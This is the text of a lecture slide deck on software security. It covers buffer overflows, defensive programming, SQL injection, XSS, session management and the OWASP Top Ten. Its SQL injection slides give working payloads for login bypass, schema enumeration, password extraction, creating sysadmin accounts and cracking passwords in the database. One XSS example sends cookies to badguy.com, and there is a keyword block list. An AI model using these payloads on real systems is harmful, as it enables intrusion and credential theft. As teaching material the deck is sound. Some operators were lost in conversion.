Title: Software Security
1Software Security
2Why Software?
- Why is software as important to security as
crypto, access control, protocols? - Virtually all of information security is
implemented in software - If your software is subject to attack, your
security can be broken - Regardless of strength of crypto, access control
or protocols - Software can become a poor foundation for
security
3Mal Software is Ubiquitous!
- NASA Mars Polar Lander was destroyed because its
flight software mistook vibrations due to
atmospheric turbulence for evidence that the
vehicle had landed and shut off the engines 40
meters from the Martian surface (December 3,
1999). - A bug in the code controlling the Therac-25
radiation therapy machine was directly
responsible for at least five patient deaths in
the 1980s when it administered excessive
quantities of X-rays. - The 2003 North America blackout was triggered by
a local outage that went undetected due to a race
condition in General Electric Energy's XA/21
monitoring software. - In order to fix a warning issued by Valgrind, a
maintainer of Debian patched OpenSSLand broke the
random number generator in the process. in
September 2006 not reported until April 2008.
Every key generated with the broken version is
compromised (as the "random" numbers were made
easily predictable), as is all data encrypted
with it
Ref. https//en.wikipedia.org/wiki/List_of_softwar
e_bugs
4Software Security Issues
- many vulnerabilities result from poor programming
practices - consequence from insufficient checking and
validation of data and error codes - awareness of these issues is a critical initial
step in writing more secure program code -
5Table 11.1 CWE/SANS Top 25 Most
Dangerous Software Errors
6Software Security, Quality and Reliability
- software quality and reliability
- concerned with the accidental failure of program
as a result of some theoretically random,
unanticipated input, system interaction, or use
of incorrect code - improve using structured design and testing to
identify and eliminate as many bugs as possible
from a program - concern is not how many bugs, but how often they
are triggered
- software security
- attacker chooses probability distribution,
specifically targeting bugs that result in a
failure that can be exploited by the attacker - triggered by inputs that differ dramatically from
what is usually expected - unlikely to be identified by common testing
approaches
7Buffer Overflow
- a very common attack mechanism
- first widely used by the Morris Worm in 1988
- prevention techniques known
- still of major concern
- legacy of buggy code in widely deployed operating
systems and applications - continued careless programming practices by
programmers
8Brief History of Buffer Overflow Attacks
9Buffer Overflow/Buffer Overrun
A buffer overflow, also known as a buffer
overrun, is defined in the NIST Glossary of Key
Information Security Terms as follows
A condition at an interface under which more
input can be placed into a buffer or data holding
area than the capacity allocated, overwriting
other information. Attackers exploit such a
condition to crash a system or to insert
specially crafted code that allows them to gain
control of the system.
10Buffer Overflow Basics
- programming error when a process attempts to
store data beyond the limits of a fixed-sized
buffer - overwrites adjacent memory locations
- locations could hold other program variables,
parameters, or program control flow data - buffer could be located on the stack, in the
heap, or in the data section of the process
11Basic Buffer Overflow Example
12Basic Buffer Overflow Stack Values
13Buffer Overflow Attacks
- to exploit a buffer overflow an attacker needs
- to identify a buffer overflow vulnerability in
some program that can be triggered using
externally sourced data under the attackers
control - to understand how that buffer is stored in memory
and determine potential for corruption - identifying vulnerable programs can be done by
- inspection of program source
- tracing the execution of programs as they process
oversized input - using tools such as fuzzing to automatically
identify potentially vulnerable programs
14Programming Language History
- at the machine level data manipulated by machine
instructions executed by the computer processor
are stored in either the processors registers or
in memory - assembly language programmer is responsible for
the correct interpretation of any saved data value
15Stack Buffer Overflows
- occur when buffer is located on stack
- also referred to as stack smashing
- used by Morris Worm
- exploits included an unchecked buffer overflow
- are still being widely exploited
- stack frame
- when one function calls another it needs
somewhere to save the return address - also needs locations to save the parameters to be
passed in to the called function and
to possibly save register
values
16Stack Frame with Functions P and Q
Figure 10.3
17Programs and Processes
Figure 10.4 Program Loading into Process
Memory
18(No Transcript)
19(No Transcript)
20Program Flaws
- An error is a programming mistake
- To err is human
- An error may lead to incorrect state fault
- A fault is internal to the program
- A fault may lead to a failure, where a system
departs from its expected behavior - A failure is externally observable
21Defensive Programming
- a form of defensive design to ensure continued
function of software despite unforeseen usage - requires attention to all aspects of program
execution, environment, and type of data it
processes - also called secure programming
- assume nothing, check all potential errors
- programmer never assumes a particular function
call or library will work as advertised so
handles it in the code
22Abstract Program Model
Figure 11.1
23Defensive Programming
- programmers often make assumptions about the type
of inputs a program will receive and the
environment it executes in - assumptions need to be validated by the program
and all potential failures handled gracefully and
safely - requires a changed mindset to traditional
programming practices - programmers have to understand how failures can
occur and the steps needed to reduce the chance
of them occurring in their programs
- conflicts with business pressures to keep
development times as short as possible to
maximize market advantage
24Security by Design
- security and reliability are common design goals
in most engineering disciplines - software development not as mature
- much higher failure levels tolerated
- despite having a number of software development
and quality standards - main focus is general development lifecycle
- increasingly identify security as a key goal
25Handling Program Input
26Input Size Buffer Overflow
- programmers often make assumptions about the
maximum expected size of input - allocated buffer size is not confirmed
- resulting in buffer overflow
- testing may not identify vulnerability
- test inputs are unlikely to include large enough
inputs to trigger the overflow - safe coding treats all input as dangerous
27Interpretation of Program Input
- program input may be binary or text
- binary interpretation depends on encoding and is
usually application specific - there is an increasing variety of character sets
being used - care is needed to identify just which set is
being used and what characters are being read - failure to validate may result in an exploitable
vulnerability
28Web Application Vulnerabilities
29URL Manipulation
30URL Manipulation (contd)
31URL Manipulation - Solution
- The best solution is to avoid sending critical
parameters in a query string - Validate with session token
- All sensitive data sent in the query string must
be cryptographically protected.
32Injection Attacks
- flaws relating to invalid handling of input data,
specifically when program input data can
accidentally or deliberately influence the flow
of execution of the program
33SQL Injection
- The ability to inject SQL commands into the
database enginethrough an existing application
Ref. Advanced SQL Injections by Victor Chapela
(OWASP.org)
34How common is it?
- It is probably the most common Website
vulnerability today! - It is a flaw in "web application" development,
it is not a DB or web server problem - Most programmers are still not aware of this
problem - A lot of the tutorials demo templates are
vulnerable - Even worse, a lot of solutions posted on the
Internet are not good enough - OWASP In our pen tests over 60 of our clients
turn out to be vulnerable to SQL Injection
35Vulnerable Applications
- Almost all SQL databases and programming
languages are potentially vulnerable - MS SQL Server, Oracle, MySQL, Postgres, DB2, MS
Access, Sybase, Informix, etc - Accessed through applications developed using
- Perl and CGI scripts that access databases
- ASP, JSP, PHP
- XML, XSL and XSQL
- Javascript
- VB, MFC, and other ODBC-based tools and APIs
- DB specific Web-based applications and APIs
- Reports and DB Applications
- 3 and 4GL-based languages (C, OCI, ProC, and
COBOL) - many more
36How does SQL Injection work?
- Common vulnerable login query
- SELECT FROM users
- WHERE login 'victor'
- AND password '123'
- (If it returns something then login!)
- ASP/MS SQL Server login syntax
- var sql "SELECT FROM users
- WHERE login '" formusr
- "' AND password '" formpwd "'"
37Injecting through Strings
- formusr ' or 11
- formpwd anything
- Final query would look like this
- SELECT FROM users
- WHERE username ' ' or 11
- AND password 'anything'
38SQL Injection
Login Successful
http//target.site/login.jsp
Expected from user
The Unexpected
RETURN
39The power of '
- It closes the string parameter
- Everything after is considered part of the SQL
command - Misleading Internet suggestions include
- Escape it! replace ' with ' '
40If it were numeric?
- SELECT FROM clients
- WHERE account 12345678
- AND pin 1111
- PHP/MySQL login syntax
- sql "SELECT FROM clients WHERE " .
- "account formacct AND " .
- "pin formpin"
41Injecting Numeric Fields
- formacct 1 or 11
- formpin 1111
- Final query would look like this
- SELECT FROM clients
- WHERE account 1 or 11
- AND pin 1111
42SQL Injection Characters
- ' or " character String Indicators
- -- or single-line comment
- // multiple-line comment
- addition, concatenate (or space in url)
- (double pipe) concatenate
- wildcard attribute indicator
- ?Param1fooParam2bar URL Parameters
- PRINT useful as non transactional command
- _at_variable local variable
- _at__at_variable global variable
- waitfor delay '0010' time delay
43SQL Injection - The Methodology
441) Input Validation
45Discovery of Vulnerabilities
- Vulnerabilities can be anywhere, we check all
entry points - Fields in web forms
- Script parameters in URL query strings
- Values stored in cookies or hidden fields
- By "fuzzing, insert into every entry point
- Character sequence ' " ) gt
- SQL reserved words with white space delimiters
- 09select (tab09, carriage return13,
linefeed10 and space32 with and, or, update,
insert, exec, etc) - Delay query ' waitfor delay '0010'--
462) Information Gathering
- We will try to find out the following
- Output mechanism
- Understand the query
- Determine database type
- Find out user privilege level
- Determine OS interaction level
47a) Exploring Output Mechanisms
- Using query result sets in the web application
- Error Messages
- Craft SQL queries that generate specific types of
error messages with valuable info in them - Blind SQL Injection
- Use time delays or error signatures to determine
extract information - Almost the same things can be done but Blind
Injection is much slower and more difficult - Other mechanisms
- e-mail, SMB, FTP, TFTP
48b) Understanding the Query
- The query can be
- SELECT
- UPDATE
- EXEC
- INSERT
- Or something more complex
- Context helps
- What is the form or page trying to do with our
input? - What is the name of the field, cookie or
parameter?
49SELECT Statement
- Most injections will land in the middle of a
SELECT statement - In a SELECT clause we almost always end up in the
WHERE section - SELECT
- FROM table
- WHERE x 'normalinput' group by x having 11 --
- GROUP BY x
- HAVING x y
- ORDER BY x
50UPDATE statement
- In a change your password section of an app we
may find the following - UPDATE users
- SET password 'new password'
- WHERE login logged.userAND password 'old
password' - If you inject in new password and comment the
rest, you end up changing every password in the
table!
51c) Determine Database Engine Type
- Most times the error messages will let us know
what DB engine we are working with - ODBC errors will display database type as part of
the driver information - If we have no ODBC error messages
- We make an educated guess based on the Operating
System and Web Server - Or we use DB-specific characters, commands or
stored procedures that will generate different
error messages
52d) Finding out user privilege level
- There are several SQL99 built-in scalar functions
that will work in most SQL implementations - user or current_user
- session_user
- system_user
- ' and 1 in (select user ) --
- ' if user 'dbo' waitfor delay '005 '--
- ' union select if( user() like 'root_at_',
benchmark(50000,sha1('test')), 'false' )
53DB Administrators
- Default administrator accounts include
- sa, system, sys, dba, admin, root and many others
- In MS SQL they map into dbo
- The dbo is a user that has implied permissions to
perform all activities in the database. - Any member of the sysadmin fixed server role who
uses a database is mapped to the special user
inside each database called dbo. - Also, any object created by any member of the
sysadmin fixed server role belongs to dbo
automatically.
54Discover DB structure
- Determine table and column names ' group by
columnnames having 11 -- - Discover column name types
- ' union select sum(columnname ) from tablename
-- - Enumerate user defined tables
- ' and 1 in (select min(name) from sysobjects
where xtype 'U' and name gt '.') --
55Enumerating table columns in different DBs
- MS SQL
- SELECT name FROM syscolumns WHERE id (SELECT id
FROM sysobjects WHERE name 'tablename ') - sp_columns tablename (this stored procedure can
be used instead) - MySQL
- show columns from tablename
- Oracle
- SELECT FROM all_tab_columnsWHERE
table_name'tablename ' - DB2
- SELECT FROM syscat.columnsWHERE tabname
'tablename ' - Postgres
- SELECT attnum,attname from pg_class,
pg_attributeWHERE relname 'tablename ' AND
pg_class.oidattrelid AND attnum gt 0
56All tables and columns in one query
- ' union select 0, sysobjects.name ' '
syscolumns.name ' ' systypes.name, 1, 1,
'1', 1, 1, 1, 1, 1 from sysobjects, syscolumns,
systypes where sysobjects.xtype 'U' AND
sysobjects.id syscolumns.id AND
syscolumns.xtype systypes.xtype --
57Database Enumeration
- In MS SQL Server, the databases can be queried
with master..sysdatabases - Different databases in Server
- ' and 1 in (select min(name ) from
master.dbo.sysdatabases where name gt'.' ) -- - File location of databases
- ' and 1 in (select min(filename ) from
master.dbo.sysdatabases where filename gt'.' ) --
58System Tables
- Oracle
- SYS.USER_OBJECTS
- SYS.TAB
- SYS.USER_TEBLES
- SYS.USER_VIEWS
- SYS.ALL_TABLES
- SYS.USER_TAB_COLUMNS
- SYS.USER_CATALOG
- MySQL
- mysql.user
- mysql.host
- mysql.db
- MS Access
- MsysACEs
- MsysObjects
- MsysQueries
- MsysRelationships
- MS SQL Server
- sysobjects
- syscolumns
- systypes
- sysdatabases
594) Extracting Data
60Password grabbing
- Grabbing username and passwords from a User
Defined table - ' begin declare _at_var varchar(8000) set _at_var''
select _at_var_at_var' 'login'/'password' '
from users where logingt_at_varselect _at_var as var
into temp end -- - ' and 1 in (select var from temp) --
- ' drop table temp --
61Create DB Accounts
- MS SQL
- exec sp_addlogin 'victor', 'Pass123'
- exec sp_addsrvrolemember 'victor', 'sysadmin'
- MySQL
- INSERT INTO mysql.user (user, host, password)
VALUES ('victor', 'localhost', PASSWORD('Pass123')
) - Access
- CREATE USER victor IDENTIFIED BY 'Pass123'
- Postgres (requires UNIX account)
- CREATE USER victor WITH PASSWORD 'Pass123'
- Oracle
- CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp DEFAULT TABLESPACE
users - GRANT CONNECT TO victor
- GRANT RESOURCE TO victor
62Brute forcing Passwords
- Passwords can be brute forced by using the
attacked server to do the processing - SQL Crack Script
- create table tempdb..passwords( pwd varchar(255)
) - bulk insert tempdb..passwords from
'c\temp\passwords.txt' - select name, pwd from tempdb..passwords inner
join sysxlogins on (pwdcompare( pwd,
sysxlogins.password, 0 ) 1) union select name,
name from sysxlogins where (pwdcompare( name,
sysxlogins.password, 0 ) 1) union select
sysxlogins.name, null from sysxlogins join
syslogins on sysxlogins.sidsyslogins.sid where
sysxlogins.password is null and
syslogins.isntgroup0 and syslogins.isntuser0 - drop table tempdb..passwords
63(No Transcript)
64SQL Injection Defense
- It is quite simple input validation
- The real challenge is making best practices
consistent through all your code - Enforce "strong design" in new applications
- You should audit your existing websites and
source code - Even if you have an air tight design, harden your
servers
65Strong Design
- Define an easy "secure" path to querying data
- Use stored procedures for interacting with
database - Call stored procedures through a parameterized
API - Validate all input through generic routines
- Use the principle of "least privilege"
- Define several roles, one for each kind of query
66Input Validation
- Define data types for each field
- Implement stringent "allow only good" filters
- If the input is supposed to be numeric, use a
numeric variable in your script to store it - Reject bad input rather than attempting to escape
or modify it - Implement stringent "known bad" filters
- For example reject "select", "insert", "update",
"shutdown", "delete", "drop", "--", "'"
67Harden the Server
- Run DB as a low-privilege user account
- Remove unused stored procedures and functionality
or restrict access to administrators - Change permissions and remove "public" access to
system objects - Audit password strength for all user accounts
- Remove pre-authenticated linked servers
- Remove unused network protocols
- Firewall the server so that only trusted clients
can connect to it (typically only administrative
network, web server and backup server)
68Detection and Dissuasion
- You may want to react to SQL injection attempts
by - Logging the attempts
- Sending email alerts
- Blocking the offending IP
- Sending back intimidating error messages
- "WARNING Improper use of this application has
been detected. A possible attack was identified.
Legal actions will be taken." - Check with your lawyers for proper wording
- This should be coded into your validation scripts
69SQL Injection AttacksConclusion
- SQL Injection is a fascinating and dangerous
vulnerability - All programming languages and all SQL databases
are potentially vulnerable - Protecting against it requires
- strong design
- correct input validation
- hardening
70Links
- A lot of SQL Injection related papers
- http//www.nextgenss.com/papers.htm
- http//www.spidynamics.com/support/whitepapers/
- http//www.appsecinc.com/techdocs/whitepapers.html
- http//www.atstake.com/research/advisories
- Other resources
- http//www.owasp.org
- http//www.sqlsecurity.com
- http//www.securityfocus.com/infocus/1768
71Cross-Site Scripting
72Cross-Site Scripting (XSS) Flaws
- OWASP Definition
- XSS flaws occur whenever an application takes
user supplied data and sends it to a web browser
without first validating or encoding that
content. XSS allows attackers to execute script
in the victim's browser which can hijack user
sessions, deface web sites, possibly introduce
worms, etc.
73Cross-Site Scripting (XSS) Attacks
- 3 Categories of XSS attacks
- Stored - the injected code is permanently stored
(in a database, message forum, visitor log,
etc.) - Reflected - attacks that are reflected take some
other route to the victim (through an e-mail
message, or bounced off from some other server) - DOM injection Injected code manipulates sites
javascript code or variables, rather than HTML
objects. - Example Comment embedded with JavaScript
- commentNice site! ltSCRIPTgt window.open(
http//badguy.com/info.pl?document.cookie
lt/SCRIPTgt
74Cross-Site Scripting (XSS)
- Occurs when an attacker can manipulate a Web
application to send malicious scripts to a third
party. - This is usually done when there is a location
that arbitrary content can be entered into (such
as an e-mail message, or free text field for
example) and then referenced by the target of the
attack. - The attack typically takes the form of an HTML
tag (frequently a hyperlink) that contains
malicious scripting (often JavaScript). - The target of the attack trusts the Web
application and thus XSS attacks exploit that
trust to do things that would not normally be
allowed. - The use of Unicode and other methods of encoding
the malicious portion of the tag are often used
so the request looks less suspicious to the
target user or to evade IDS/IPS.
75XSS - Protection
- Protect your application from XSS attacks
- Filter output by converting text/data which might
have dangerous HTML characters to its encoded
format - 'lt' and 'gt' to 'lt' and 'gt
- '(' and ')' to '40' and '41
- '' and '' to '35' and '38
- Recommend filtering on input as much as possible.
(some data may need to allow special characters.)
76Malicious File Execution
- OWASP Definition
- Code vulnerable to remote file inclusion (RFI)
allows attackers to include hostile code and
data, resulting in devastating attacks, such as
total server compromise. -
- Malicious file execution attacks affect PHP, XML
and any framework which accepts filenames or
files from users.
77Malicious File Execution
- Applications which allow the user to provide a
filename, or part of a filename are often
vulnerable if input is not carefully validated. - Allowing the attacker to manipulate the filename
may cause application to execute a system program
or external URL. - Applications which allow file uploads have
additional risks - Place executable code into the application
- Replace a Session file, log file or
authentication token
78Malicious File Execution Protection
- Do not allow user input to be used for any part
of a file or path name. - Where user input must influence a file name or
URL, use a fully enumerated list to positively
validate the value. - File uploads have to be done VERY carefully.
- Only allow uploads to a path outside of the
webroot so it can not be executed - Validate the file name provided so that a
directory path is not included. - Implement or enable sandbox or chroot controls
which limit the applications access to files.
79Broken Authentication and Session Management
- OWASP Definition
- Account credentials and session tokens are often
not properly protected. Attackers compromise
passwords, keys, or authentication tokens to
assume other users identities.
80Session Management
81Session Management
- HTTP/S protocol does not provide tracking of a
users session. - Session tracking answers the question
- After a user authenticates how does the server
associate subsequent requests to the
authenticated user? - Typically, web application vendors provide a
built-in session tracking, which is good if used
properly. - Often developers will make the mistake of
inventing their own session tracking.
82Session Management (Session IDs)
- A Session ID
- Unique to the User
- Used for only one authenticated session
- Generated by the server
- Sent to the client as
- Hidden variable,
- HTTP cookie,
- URL query string (not a good practice)
- The user is expected to send back the same ID in
the next request.
83Session Management(Session Hijacking)
- Session ID is disclosed or is guessed.
- An attacker using the same session ID has the
same privileges as the real user. - Especially useful to an attacker if the session
is privileged. - Allows initial access to the web application to
be combined with other attacks.
84Session Management Protection
- Use long complex random session ID that cannot be
guessed. - Protect the transmission and storage of the
Session ID to prevent disclosure and hijacking. - A URL query string should not be used for Session
ID or any User/Session information - URL is stored in browser cache
- Logged via Web proxies and stored in the proxy
cache
85Session Management Protection
- Entire session should be transmitted via HTTPS to
prevent disclosure of the session ID. (not just
the authentication) - Avoid or protect any session information
transmitted to/from the client. - Session ID should expire and/or time-out on the
Server when idle or on logout. - Client side cookie expirations useful, but should
not be trusted. - Consider regenerating a new session upon
successful authentication or privilege level
change.
86Broken Account Management
- Even valid authentication schemes can be
undermined by flawed account management functions
including - Account update
- Forgotten password recovery or reset
- Change password, and other similar functions
87Broken Account and Session Management Protection
- Password Change Controls - require users to
provide both old and new passwords - Forgotten Password Controls - if forgotten
passwords are emailed to users, they should be
required to re-authenticate whenever they attempt
to change their email address. - Password Strength
- Password Expiration - Users must change passwords
every 90 days, and administrators every 30 days.
88Insecure Cryptographic Storage Common Mistakes
- Improper/insecure storage of passwords,
certifications, and keys - Poor choice of algorithm
- Poor source of randomness for initialization
vectors - Attempting to develop a new encryption scheme "in
house (Always a BAD idea) - Failure to provide functionality to change
encryption keys
89Insecure Cryptographic Storage Protection
- Avoiding storing sensitive information when
possible - Use only approved standard algorithms
- Use platform specific approved storage mechanisms
- Ask, read and learn about coding Best Practices
for your platform - Careful review of all system designs
- Source code reviews
90Insecure Communications Protection
- Use SSL/TLS for ALL connections that are
authenticated or transmitting sensitive
information - Use only valid trusted SSL/TLS certificates and
train users to expect valid certificates to
prevent Man-in-the-Middle attacks.
91OWASP Top Ten Vulnerabilities
- Unvalidated Input
- Broken Access Control
- Broken Authentication Session Management
- Cross Site Scripting Flaws
- Buffer Overflows
- Injection Flaws
- Improper Error Handling
- Insecure Storage
- Denial of Service
- Insecure Configuration Management
92Summary
- Application Security starts with the Architecture
and Design - Security cant be added on later without
re-designing and rewriting - Custom code often introduces vulnerabilities
- Application vulnerabilities are NOT prevented by
traditional security controls. - Dont invent your own security controls
- Design, Design, Design, code, test, test,
test